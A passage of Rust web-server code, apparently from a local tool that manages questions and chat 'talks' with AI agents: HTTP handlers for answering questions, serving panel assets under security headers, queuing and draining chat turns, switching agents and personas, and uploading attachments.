5805 (Some(c), None) => Answer::Choice(c),
5806 (None, Some(t)) => Answer::Text(t),
5807 (Some(_), Some(_)) => {
5808 return Err(ApiError::bad_request(
5809 "send either `choice` or `text`, not both",
5810 ));
5811 }
5812 (None, None) => {
5813 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5814 }
5815 };
5816
5817 blocking(move || {
5818 let id = resolve_question(&ui.questions, &id)?;
5819 let q = ui
5820 .questions
5821 .get(&id)
5822 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5823 if !q.status.open() {
5824 return Err(ApiError::conflict(format!(
5828 "question {} is already {}",
5829 q.short(),
5830 q.status.as_str()
5831 )));
5832 }
5833 let (q, ()) = ui
5837 .questions
5838 .update(&q.id, |r| r.answer(answer))
5839 .map_err(ApiError::bad_request_from)?;
5840 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5841 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5842 Ok(Json(
5843 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5844 ))
5845 })
5846 .await
5847}
5848
5849#[derive(Debug, Deserialize)]
5851#[serde(deny_unknown_fields)]
5852struct NewSay {
5853 body: String,
5854}
5855
5856async fn question_say(
5866 State(ui): State<Arc<Ui>>,
5867 Path(id): Path<String>,
5868 body: std::result::Result<Json<NewSay>, JsonRejection>,
5869) -> ApiResult<Json<QuestionView>> {
5870 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5871 blocking(move || {
5872 let id = resolve_question(&ui.questions, &id)?;
5873 let q = ui
5874 .questions
5875 .get(&id)
5876 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5877 if !q.status.open() {
5878 return Err(ApiError::conflict(format!(
5882 "question {} is already {}",
5883 q.short(),
5884 q.status.as_str()
5885 )));
5886 }
5887 let (q, ()) = ui
5890 .questions
5891 .update(&q.id, |r| r.say(body.body))
5892 .map_err(ApiError::bad_request_from)?;
5893 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5894 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5895 Ok(Json(
5896 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5897 ))
5898 })
5899 .await
5900}
5901
5902async fn question_consult(
5911 State(ui): State<Arc<Ui>>,
5912 Path(id): Path<String>,
5913) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5914 let (view, reclaimed) = blocking({
5915 let ui = Arc::clone(&ui);
5916 move || {
5917 let id = resolve_question(&ui.questions, &id)?;
5918 let q = ui
5919 .questions
5920 .get(&id)
5921 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5922 if !q.status.open() {
5923 return Err(ApiError::conflict(format!(
5924 "question {} is already {}",
5925 q.short(),
5926 q.status.as_str()
5927 )));
5928 }
5929 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5930 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5931 return Err(ApiError::conflict(format!(
5932 "question {} has no chat to ask",
5933 q.short()
5934 )));
5935 };
5936 let cfg = if q.consult.is_none() {
5940 Some(Config::discover(&talk.repo, None)?.0)
5941 } else {
5942 None
5943 };
5944 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5945 let claim = if fresh {
5946 match ui.begin_queued_talk_turn(&talk.id)? {
5947 Some(turn_guard) => {
5948 let talk = ui.talks.get(&talk.id)?;
5949 let cfg = match cfg {
5950 Some(cfg) => cfg,
5951 None => Config::discover(&talk.repo, None)?.0,
5952 };
5953 Some((talk, cfg, turn_guard))
5954 }
5955 None => None,
5956 }
5957 } else {
5958 None
5959 };
5960 let q = ui.questions.get(&q.id)?;
5961 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5962 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5963 Ok((view, claim))
5964 }
5965 })
5966 .await?;
5967 if let Some((talk, cfg, turn_guard)) = reclaimed {
5968 let talks = ui.talks.clone();
5969 let id = talk.id.clone();
5970 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5971 }
5972 Ok((StatusCode::ACCEPTED, Json(view)))
5973}
5974
5975fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5977 if store.path_of(id).is_file() {
5978 return Ok(id.to_owned());
5979 }
5980 pick(
5981 store.list().into_iter().map(|q| q.id).collect(),
5982 id,
5983 "question",
5984 )
5985}
5986
5987async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6002 blocking(move || {
6003 let id = resolve_question(&ui.questions, &id)?;
6004 let Some(html) = ui.questions.panel_html(&id) else {
6005 return Err(ApiError::not_found(format!("question {id} has no panel")));
6006 };
6007 Ok(panel_response(
6008 "text/html; charset=utf-8",
6009 false,
6010 html.into_bytes(),
6011 ))
6012 })
6013 .await
6014}
6015
6016async fn question_asset(
6044 State(ui): State<Arc<Ui>>,
6045 Path((id, name)): Path<(String, String)>,
6046) -> ApiResult<Response> {
6047 if !crate::ask::valid_asset_name(&name) {
6050 return Err(ApiError::bad_request(format!(
6051 "`{name}` is not a usable asset name"
6052 )));
6053 }
6054 blocking(move || {
6055 let id = resolve_question(&ui.questions, &id)?;
6056 let asset = ui
6057 .questions
6058 .panel_asset(&id, &name)
6059 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6060 let Some(bytes) = asset else {
6061 return Err(ApiError::not_found(format!(
6062 "question {id} has no asset `{name}`"
6063 )));
6064 };
6065 Ok(panel_response(
6066 asset_content_type(&name),
6067 is_svg(&name),
6068 bytes,
6069 ))
6070 })
6071 .await
6072}
6073
6074fn asset_content_type(name: &str) -> &'static str {
6087 match extension(name).as_deref() {
6088 Some("png") => "image/png",
6089 Some("jpg" | "jpeg") => "image/jpeg",
6090 Some("gif") => "image/gif",
6091 Some("webp") => "image/webp",
6092 Some("svg") => "image/svg+xml",
6093 Some("css") => "text/css; charset=utf-8",
6094 Some("txt") => "text/plain; charset=utf-8",
6095 _ => "application/octet-stream",
6096 }
6097}
6098
6099fn is_svg(name: &str) -> bool {
6102 extension(name).as_deref() == Some("svg")
6103}
6104
6105fn extension(name: &str) -> Option<String> {
6107 name.rsplit_once('.')
6108 .map(|(_, ext)| ext.to_ascii_lowercase())
6109}
6110
6111fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6128 let mut res = (
6129 [
6130 (header::CONTENT_TYPE, content_type),
6131 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6132 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6133 (header::REFERRER_POLICY, "no-referrer"),
6134 ],
6135 body,
6136 )
6137 .into_response();
6138 if download {
6139 res.headers_mut().insert(
6140 header::CONTENT_DISPOSITION,
6141 HeaderValue::from_static("attachment"),
6142 );
6143 }
6144 res
6145}
6146
6147#[derive(Debug, Serialize)]
6153struct TalkView {
6154 #[serde(flatten)]
6155 talk: Talk,
6156 turn_bodies_md: Vec<Vec<md::Node>>,
6157 thinking: bool,
6165 context: talk::ContextUsage,
6169 operator_name: Option<String>,
6172 persona_name: Option<String>,
6174}
6175
6176impl TalkView {
6177 fn new(talk: Talk, thinking: bool) -> Self {
6180 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6181 Self::with_config(talk, thinking, cfg.as_ref())
6182 }
6183
6184 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6187 let context = talk::context_usage(&talk, cfg);
6188 let turn_bodies_md = talk
6189 .turns
6190 .iter()
6191 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6192 .collect();
6193 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6194 let persona_name = persona::find(specs, &talk.persona)
6195 .filter(|p| !p.is_default())
6196 .map(|p| p.name);
6197 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6198 Self {
6199 turn_bodies_md,
6200 thinking,
6201 context,
6202 operator_name,
6203 persona_name,
6204 talk,
6205 }
6206 }
6207}
6208
6209#[derive(Debug, Serialize)]
6214struct TalkDetailView {
6215 #[serde(flatten)]
6216 view: TalkView,
6217 tasks: Vec<TaskView>,
6218 roster: Vec<RosterEntry>,
6221 personas: Vec<PersonaEntry>,
6224}
6225
6226#[derive(Debug, Serialize)]
6228struct PersonaEntry {
6229 id: String,
6230 name: String,
6231}
6232
6233#[derive(Debug, Serialize)]
6235struct RosterEntry {
6236 id: String,
6237 kind: AgentKind,
6238 runnable: bool,
6240}
6241
6242async fn talks_list(
6247 State(ui): State<Arc<Ui>>,
6248 Query(q): Query<ListQuery>,
6249) -> ApiResult<Json<Vec<TalkView>>> {
6250 blocking(move || {
6251 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6252 Ok(Json(
6253 ui.talks
6254 .list()
6255 .into_iter()
6256 .filter(|talk| q.contains(&talk.id))
6257 .map(|talk| {
6258 let thinking = ui.is_thinking(&talk.id);
6259 let cfg = configs
6260 .entry(talk.repo.clone())
6261 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6262 TalkView::with_config(talk, thinking, cfg.as_ref())
6263 })
6264 .collect(),
6265 ))
6266 })
6267 .await
6268}
6269
6270#[derive(Debug, Default, Deserialize)]
6275#[serde(default)]
6276struct NewTalk {
6277 agent: Option<String>,
6278 repo: Option<PathBuf>,
6279}
6280
6281async fn talk_post(
6284 State(ui): State<Arc<Ui>>,
6285 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6286) -> ApiResult<impl IntoResponse> {
6287 let body = match body {
6291 Ok(Json(body)) => body,
6292 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6293 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6294 };
6295 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6296 let cfg = config_for(&repo).await?;
6297 let view = blocking(move || {
6298 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6299 let thinking = ui.is_thinking(&talk.id);
6300 Ok(TalkView::new(talk, thinking))
6301 })
6302 .await?;
6303 Ok((StatusCode::CREATED, Json(view)))
6304}
6305
6306async fn talk_detail(
6308 State(ui): State<Arc<Ui>>,
6309 Path(id): Path<String>,
6310) -> ApiResult<Json<TalkDetailView>> {
6311 blocking(move || {
6312 let id = resolve_talk(&ui.talks, &id)?;
6313 let talk = ui.talks.get(&id)?;
6314 let thinking = ui.is_thinking(&talk.id);
6315 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6316 .into_iter()
6317 .map(TaskView::from)
6318 .collect();
6319 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6320 let roster = cfg
6321 .as_ref()
6322 .map(|cfg| {
6323 cfg.agents
6324 .iter()
6325 .map(|a| RosterEntry {
6326 id: a.id.clone(),
6327 kind: a.kind,
6328 runnable: agent::installed(a),
6329 })
6330 .collect()
6331 })
6332 .unwrap_or_default();
6333 let specs = cfg
6334 .as_ref()
6335 .map(|cfg| cfg.talk.personas.clone())
6336 .unwrap_or_default();
6337 let personas = persona::catalog(&specs)
6338 .into_iter()
6339 .map(|p| PersonaEntry {
6340 id: p.id,
6341 name: p.name,
6342 })
6343 .collect();
6344 Ok(Json(TalkDetailView {
6345 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6346 tasks,
6347 roster,
6348 personas,
6349 }))
6350 })
6351 .await
6352}
6353
6354#[derive(Debug, Default, Deserialize)]
6360#[serde(default, deny_unknown_fields)]
6361struct NewTalkTurn {
6362 text: String,
6363 attachments: Vec<String>,
6364}
6365
6366#[derive(Debug, Deserialize)]
6367#[serde(deny_unknown_fields)]
6368struct EditTalkPending {
6369 text: String,
6370 expected_text: String,
6371 expected_attachments: Vec<String>,
6372}
6373
6374#[derive(Debug, Deserialize)]
6375#[serde(deny_unknown_fields)]
6376struct ClearTalkPending {
6377 expected_text: String,
6378 expected_attachments: Vec<String>,
6379}
6380
6381async fn talk_say(
6393 State(ui): State<Arc<Ui>>,
6394 Path(id): Path<String>,
6395 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6396) -> ApiResult<(StatusCode, Json<TalkView>)> {
6397 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6398 if body.text.trim().is_empty() && body.attachments.is_empty() {
6399 return Err(ApiError::bad_request("say something"));
6400 }
6401
6402 let id = {
6403 let ui = Arc::clone(&ui);
6404 let asked = id.clone();
6405 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6406 };
6407 {
6411 let ui = Arc::clone(&ui);
6412 let id = id.clone();
6413 blocking(move || {
6414 let talk = ui.talks.get(&id)?;
6415 if !talk.status.open() {
6416 return Err(ApiError::conflict(format!(
6417 "talk {} is {} and takes no more turns",
6418 talk.short(),
6419 talk.status.as_str()
6420 )));
6421 }
6422 Ok(())
6423 })
6424 .await?;
6425 }
6426
6427 let attachments = {
6432 let ui = Arc::clone(&ui);
6433 let id = id.clone();
6434 let ids = body.attachments.clone();
6435 blocking(move || {
6436 ids.into_iter()
6437 .map(|att_id| {
6438 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6439 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6440 })
6441 })
6442 .collect::<ApiResult<Vec<talk::Attachment>>>()
6443 })
6444 .await?
6445 };
6446
6447 let start = {
6452 let ui = Arc::clone(&ui);
6453 let id = id.clone();
6454 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6455 };
6456 let turn_guard = match start {
6457 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6458 TalkTurnStart::Pending => {
6459 return Err(ApiError::conflict(
6460 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6461 ));
6462 }
6463 TalkTurnStart::Foreign => {
6464 return Err(ApiError::conflict(
6465 "a turn is already running in another process; try again when it has finished",
6466 ));
6467 }
6468 TalkTurnStart::Busy => {
6469 let (tx, rx) = tokio::sync::oneshot::channel();
6485 tokio::spawn({
6486 let ui = Arc::clone(&ui);
6487 let id = id.clone();
6488 let said = body.text.clone();
6489 async move {
6490 let written = blocking({
6491 let ui = Arc::clone(&ui);
6492 let id = id.clone();
6493 move || {
6494 let mut talk = ui.talks.get(&id)?;
6495 #[cfg(test)]
6500 if let Some(gate) = ui
6501 .busy_queue_gate
6502 .lock()
6503 .unwrap_or_else(PoisonError::into_inner)
6504 .take()
6505 {
6506 let _ = gate.reached.send(());
6507 let _ = gate.release.recv();
6508 }
6509 if let Err(error) =
6510 talk::queue(&mut talk, &ui.talks, &said, attachments)
6511 {
6512 if let Ok(fresh) = ui.talks.get(&id) {
6513 if !fresh.status.open() {
6514 return Err(ApiError::conflict(format!(
6515 "talk {} is {} and takes no more turns",
6516 fresh.short(),
6517 fresh.status.as_str()
6518 )));
6519 }
6520 }
6521 return Err(ApiError::from(error));
6522 }
6523 let claim = match ui.begin_queued_talk_turn(&id)? {
6534 Some(turn_guard) => {
6535 let (cfg, _) = Config::discover(&talk.repo, None)?;
6536 Some((talk.clone(), cfg, turn_guard))
6537 }
6538 None => None,
6539 };
6540 let thinking = ui.is_thinking(&id);
6541 Ok((TalkView::new(talk, thinking), claim))
6542 }
6543 })
6544 .await;
6545 let (view, reclaimed) = match written {
6546 Ok(pair) => pair,
6547 Err(e) => {
6548 let _ = tx.send(Err(e));
6553 return;
6554 }
6555 };
6556 let _ = tx.send(Ok(view));
6559 if let Some((talk, cfg, turn_guard)) = reclaimed {
6560 let talks = ui.talks.clone();
6561 drain_loop(talk, talks, cfg, id, turn_guard).await;
6562 }
6563 }
6564 });
6565 let view = rx
6566 .await
6567 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6568 return Ok((StatusCode::ACCEPTED, Json(view)));
6569 }
6570 };
6571
6572 let (talk, cfg) = {
6573 let ui = Arc::clone(&ui);
6574 let id = id.clone();
6575 blocking(move || {
6576 let talk = ui.talks.get(&id)?;
6577 let (cfg, _) = Config::discover(&talk.repo, None)?;
6578 Ok((talk, cfg))
6579 })
6580 .await?
6581 };
6582
6583 let talks = ui.talks.clone();
6584 let (tx, rx) = tokio::sync::oneshot::channel();
6599 tokio::spawn({
6600 let ui = Arc::clone(&ui);
6601 let talks = talks.clone();
6602 let id = id.clone();
6603 let said = body.text.clone();
6604 let mut talk = talk.clone();
6605 async move {
6606 let recorded = blocking({
6607 let talks = talks.clone();
6608 move || {
6609 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6610 if let Ok(fresh) = talks.get(&talk.id) {
6611 if !fresh.status.open() {
6612 return Err(ApiError::conflict(format!(
6613 "talk {} is {} and takes no more turns",
6614 fresh.short(),
6615 fresh.status.as_str()
6616 )));
6617 }
6618 }
6619 return Err(ApiError::from(error));
6620 }
6621 Ok((said.trim().to_owned(), talk))
6627 }
6628 })
6629 .await;
6630 let (text, mut talk) = match recorded {
6631 Ok(pair) => pair,
6632 Err(e) => {
6633 let _ = tx.send(Err(e));
6637 return;
6638 }
6639 };
6640 let queued = talk.clone();
6641 let thinking = ui.is_thinking(&id);
6642 let _ = tx.send(Ok((queued, thinking)));
6645
6646 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6647 tracing::warn!("talk {id} turn failed: {e:#}");
6651 }
6652 drain_loop(talk, talks, cfg, id, turn_guard).await;
6655 }
6656 });
6657
6658 let (queued, thinking) = rx
6659 .await
6660 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6661
6662 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6664}
6665
6666async fn talk_pending_resume(
6670 State(ui): State<Arc<Ui>>,
6671 Path(id): Path<String>,
6672) -> ApiResult<(StatusCode, Json<TalkView>)> {
6673 let id = {
6674 let ui = Arc::clone(&ui);
6675 let asked = id.clone();
6676 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6677 };
6678 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6679 return Err(ApiError::conflict(
6680 "a talk turn is already running; the queued draft will be handled by it",
6681 ));
6682 };
6683 let (talk, cfg) = {
6684 let ui = Arc::clone(&ui);
6685 let id = id.clone();
6686 blocking(move || {
6687 let talk = ui.talks.get(&id)?;
6688 if !talk.status.open() {
6689 return Err(ApiError::conflict(format!(
6690 "talk {} is {} and takes no more turns",
6691 talk.short(),
6692 talk.status.as_str()
6693 )));
6694 }
6695 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6696 return Err(ApiError::conflict("there is no queued draft to resume"));
6697 }
6698 let (cfg, _) = Config::discover(&talk.repo, None)?;
6699 Ok((talk, cfg))
6700 })
6701 .await?
6702 };
6703 let view = TalkView::new(talk.clone(), true);
6704 let talks = ui.talks.clone();
6705 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6706 Ok((StatusCode::ACCEPTED, Json(view)))
6707}
6708
6709async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6725 let live_set = Arc::clone(&turn.turns);
6726 let mut turn = Some(turn);
6734 loop {
6735 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6736 tracing::warn!("talk {id} lost its turn lease; not draining further");
6739 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6740 if let Some(turn) = turn.take() {
6741 turn.release(&mut live);
6742 }
6743 break;
6744 }
6745 {
6746 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6749 if live.parking {
6750 if let Some(turn) = turn.take() {
6751 turn.release(&mut live);
6752 }
6753 break;
6754 }
6755 }
6756 let observed = live_set
6760 .lock()
6761 .unwrap_or_else(PoisonError::into_inner)
6762 .queued
6763 .get(&id)
6764 .copied()
6765 .unwrap_or(0);
6766 let drained = blocking({
6767 let talks = talks.clone();
6768 let live_set = Arc::clone(&live_set);
6769 move || {
6770 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6775 let result = if live.parking {
6776 Ok(None)
6777 } else {
6778 talk::drain(&mut talk, &talks)
6779 };
6780 drop(live);
6781 Ok((talk, result))
6782 }
6783 })
6784 .await;
6785 let (next_talk, result) = match drained {
6786 Ok(drained) => drained,
6787 Err(e) => {
6788 tracing::warn!(
6789 status = %e.status,
6790 message = %e.message,
6791 "talk {id} could not start queued-text drain"
6792 );
6793 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6794 turn.take()
6795 .expect("held for the whole loop until released here")
6796 .release(&mut live);
6797 break;
6798 }
6799 };
6800 talk = next_talk;
6801 let drained = match result {
6802 Ok(Some(drained)) => drained,
6803 Ok(None) => {
6804 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6805 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6806 continue;
6807 }
6808 turn.take()
6809 .expect("held for the whole loop until released here")
6810 .release(&mut live);
6811 break;
6812 }
6813 Err(e) => {
6814 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6815 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6816 turn.take()
6817 .expect("held for the whole loop until released here")
6818 .release(&mut live);
6819 break;
6820 }
6821 };
6822 let responded = match turn.as_ref() {
6823 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6824 None => Err(anyhow::anyhow!("the turn guard was released")),
6825 };
6826 if let Err(e) = responded {
6827 tracing::warn!("talk {id} turn failed: {e:#}");
6828 }
6829 }
6830}
6831
6832async fn talk_pending_clear(
6834 State(ui): State<Arc<Ui>>,
6835 Path(id): Path<String>,
6836 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6837) -> ApiResult<Json<TalkView>> {
6838 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6839 blocking(move || {
6840 let id = resolve_talk(&ui.talks, &id)?;
6841 let mut talk = ui.talks.get(&id)?;
6842 if !talk.status.open() {
6843 return Err(ApiError::conflict(format!(
6844 "talk {} is {} and takes no more turns",
6845 talk.short(),
6846 talk.status.as_str()
6847 )));
6848 }
6849 if !talk::clear_pending_if_matches(
6850 &mut talk,
6851 &ui.talks,
6852 &body.expected_text,
6853 &body.expected_attachments,
6854 )? {
6855 return Err(ApiError::conflict(
6856 "queued message changed; reload it before clearing",
6857 ));
6858 }
6859 let thinking = ui.is_thinking(&talk.id);
6860 Ok(Json(TalkView::new(talk, thinking)))
6861 })
6862 .await
6863}
6864
6865async fn talk_pending_edit(
6869 State(ui): State<Arc<Ui>>,
6870 Path(id): Path<String>,
6871 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6872) -> ApiResult<Json<TalkView>> {
6873 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6874 let (view, reclaimed) = blocking({
6875 let ui = Arc::clone(&ui);
6876 move || {
6877 let id = resolve_talk(&ui.talks, &id)?;
6878 let mut talk = ui.talks.get(&id)?;
6879 if !talk.status.open() {
6880 return Err(ApiError::conflict(format!(
6881 "talk {} is {} and takes no more turns",
6882 talk.short(),
6883 talk.status.as_str()
6884 )));
6885 }
6886 if !talk::edit_pending_text(
6887 &mut talk,
6888 &ui.talks,
6889 &body.text,
6890 &body.expected_text,
6891 &body.expected_attachments,
6892 )? {
6893 return Err(ApiError::conflict(
6894 "queued message changed; reload it before editing",
6895 ));
6896 }
6897 let claim = match ui.begin_queued_talk_turn(&id)? {
6898 Some(turn_guard) => {
6899 let (cfg, _) = Config::discover(&talk.repo, None)?;
6900 Some((talk.clone(), cfg, id.clone(), turn_guard))
6901 }
6902 None => None,
6903 };
6904 let thinking = ui.is_thinking(&id);
6905 Ok((TalkView::new(talk, thinking), claim))
6906 }
6907 })
6908 .await?;
6909 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6910 let talks = ui.talks.clone();
6911 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6912 }
6913 Ok(Json(view))
6914}
6915
6916#[derive(Debug, Deserialize)]
6918struct TalkAgent {
6919 agent: String,
6920}
6921
6922async fn talk_agent(
6927 State(ui): State<Arc<Ui>>,
6928 Path(id): Path<String>,
6929 Json(body): Json<TalkAgent>,
6930) -> ApiResult<Json<TalkView>> {
6931 let id = {
6932 let ui = Arc::clone(&ui);
6933 blocking(move || resolve_talk(&ui.talks, &id)).await?
6934 };
6935 let repo = {
6936 let ui = Arc::clone(&ui);
6937 let id = id.clone();
6938 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6939 };
6940 let cfg = config_for(&repo).await?;
6941 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6942 return Err(ApiError::conflict(
6943 "a talk turn is running; change the agent once it has answered",
6944 ));
6945 };
6946 let switched = {
6947 let ui = Arc::clone(&ui);
6948 let id = id.clone();
6949 let cfg = cfg.clone();
6950 blocking(move || {
6951 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6952 .map_err(ApiError::bad_request_from)?;
6953 let mut talk = ui.talks.get(&id)?;
6954 if !talk.status.open() {
6955 return Err(ApiError::conflict(format!(
6956 "talk {} is {} and takes no more turns",
6957 talk.short(),
6958 talk.status.as_str()
6959 )));
6960 }
6961 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6962 Ok(talk)
6963 })
6964 .await
6965 };
6966 let fresh = {
6971 let ui = Arc::clone(&ui);
6972 let id = id.clone();
6973 blocking(move || Ok(ui.talks.get(&id)?)).await
6974 };
6975 let draining = match fresh {
6976 Ok(talk) => {
6977 let draining = talk.status.open()
6978 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6979 let talks = ui.talks.clone();
6980 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6981 draining
6982 }
6983 Err(_) => false,
6984 };
6985 let talk = switched?;
6986 Ok(Json(TalkView::new(talk, draining)))
6987}
6988
6989#[derive(Debug, Deserialize)]
6991struct TalkPersona {
6992 persona: String,
6993}
6994
6995async fn talk_persona(
6999 State(ui): State<Arc<Ui>>,
7000 Path(id): Path<String>,
7001 Json(body): Json<TalkPersona>,
7002) -> ApiResult<Json<TalkView>> {
7003 let id = {
7004 let ui = Arc::clone(&ui);
7005 blocking(move || resolve_talk(&ui.talks, &id)).await?
7006 };
7007 let repo = {
7008 let ui = Arc::clone(&ui);
7009 let id = id.clone();
7010 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7011 };
7012 let cfg = config_for(&repo).await?;
7013 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7014 return Err(ApiError::conflict(
7015 "a talk turn is running; change the persona once it has answered",
7016 ));
7017 };
7018 let switched = {
7019 let ui = Arc::clone(&ui);
7020 let id = id.clone();
7021 let cfg = cfg.clone();
7022 blocking(move || {
7023 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7024 return Err(ApiError::bad_request(format!(
7025 "unknown persona `{}`",
7026 body.persona
7027 )));
7028 };
7029 let mut talk = ui.talks.get(&id)?;
7030 if !talk.status.open() {
7031 return Err(ApiError::conflict(format!(
7032 "talk {} is {} and takes no more turns",
7033 talk.short(),
7034 talk.status.as_str()
7035 )));
7036 }
7037 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7038 Ok(talk)
7039 })
7040 .await
7041 };
7042 let fresh = {
7044 let ui = Arc::clone(&ui);
7045 let id = id.clone();
7046 blocking(move || Ok(ui.talks.get(&id)?)).await
7047 };
7048 let draining = match fresh {
7049 Ok(talk) => {
7050 let draining = talk.status.open()
7051 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7052 let talks = ui.talks.clone();
7053 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7054 draining
7055 }
7056 Err(_) => false,
7057 };
7058 let talk = switched?;
7059 Ok(Json(TalkView::new(talk, draining)))
7060}
7061
7062async fn talk_close(
7064 State(ui): State<Arc<Ui>>,
7065 Path(id): Path<String>,
7066) -> ApiResult<Json<TalkView>> {
7067 blocking(move || {
7068 let id = resolve_talk(&ui.talks, &id)?;
7069 let mut talk = ui.talks.get(&id)?;
7070 talk::close(&mut talk, &ui.talks)?;
7071 let thinking = ui.is_thinking(&talk.id);
7072 Ok(Json(TalkView::new(talk, thinking)))
7073 })
7074 .await
7075}
7076
7077async fn talk_reopen(
7079 State(ui): State<Arc<Ui>>,
7080 Path(id): Path<String>,
7081) -> ApiResult<Json<TalkView>> {
7082 blocking(move || {
7083 let id = resolve_talk(&ui.talks, &id)?;
7084 let mut talk = ui.talks.get(&id)?;
7085 talk::reopen(&mut talk, &ui.talks)?;
7086 let thinking = ui.is_thinking(&talk.id);
7087 Ok(Json(TalkView::new(talk, thinking)))
7088 })
7089 .await
7090}
7091
7092async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7102 blocking(move || {
7103 let id = resolve_talk(&ui.talks, &id)?;
7104 ui.talks.remove(&id)?;
7105 Ok(StatusCode::NO_CONTENT)
7106 })
7107 .await
7108}
7109
7110fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7112 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7113}
7114
7115async fn talk_attachment_post(
7118 State(ui): State<Arc<Ui>>,
7119 Path(id): Path<String>,
7120 headers: HeaderMap,
7121 body: Bytes,
7122) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7123 let mime = validate_attachment(&headers, &body)?;
7124 let name = filename_header(&headers);
7125 let data = body.to_vec();
7126 blocking(move || {
7127 let id = resolve_talk(&ui.talks, &id)?;
7128 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7129 Ok((StatusCode::CREATED, Json(att)))
7130 })
7131 .await
7132}
7133
7134async fn talk_attachment_get(
